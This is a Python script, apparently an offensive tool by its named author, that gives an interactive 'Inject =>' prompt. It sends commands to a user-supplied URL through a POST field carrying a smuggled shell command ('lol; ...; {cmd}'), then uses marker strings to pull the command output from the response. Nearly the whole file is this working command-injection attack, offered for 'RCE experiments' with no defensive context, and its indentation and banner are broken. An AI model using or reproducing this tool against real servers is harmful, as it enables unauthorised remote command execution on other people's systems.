import requests
import re
from cmd import Cmd
class Terminal(Cmd):
print("""
____/\\\\\\\\\____________/\\\\\\\\\__/\\\\\\\\\\\\\\\_______________/\\\\\\\________/\\\\\\\________/\\\\\\\____
__/\\\
_\/\\\_____\/\\\_____/\\\/___________\/\\\_______________________\///_____\
_\/\\\\\\\\\\\/_____/\\\_____________\/\\\\\\\\\\\_________________________/\\\____________/\\\____________/\\\__
_\/\\\
_\/\\\____\
_\/\\\_____\
_\/\\\______\
_\
____ _ _ _ _
| _ \ | | | | /\ | (_)
| |_) | __ _| |_ _ _| |__ __ _ _ __ / \ _ _ __| |_ _ __
| _ < / _` | __| | | | '_ \ / _` | '_ \ / /\ \| | | |/ _` | | '_ \
| |_) | (_| | |_| |_| | | | | (_| | | | | / ____ \ |_| | (_| | | | | |
|____/ \__,_|\__|\__,_|_| |_|\__,_|_| |_| /_/ \_\__, |\__,_|_|_| |_|
__/ |
|___/
It is a python script that you can do your RCE experiments quickly. Developed by Batuhan AYDIN.
https:
""")
prompt = "Inject => "
def default(self, args):
output = RunCmd(args)
print(output)
def RunCmd(cmd):
domain = input("Attack_to =>")
if ("http://" in domain or "https://" in domain) and domain != None:
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post(domain, data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return "Mission failed try something else or make sure you're in the right place :)"
else:
print("Bro please don't forget http:// or https://")
term = Terminal()
term.cmdloop()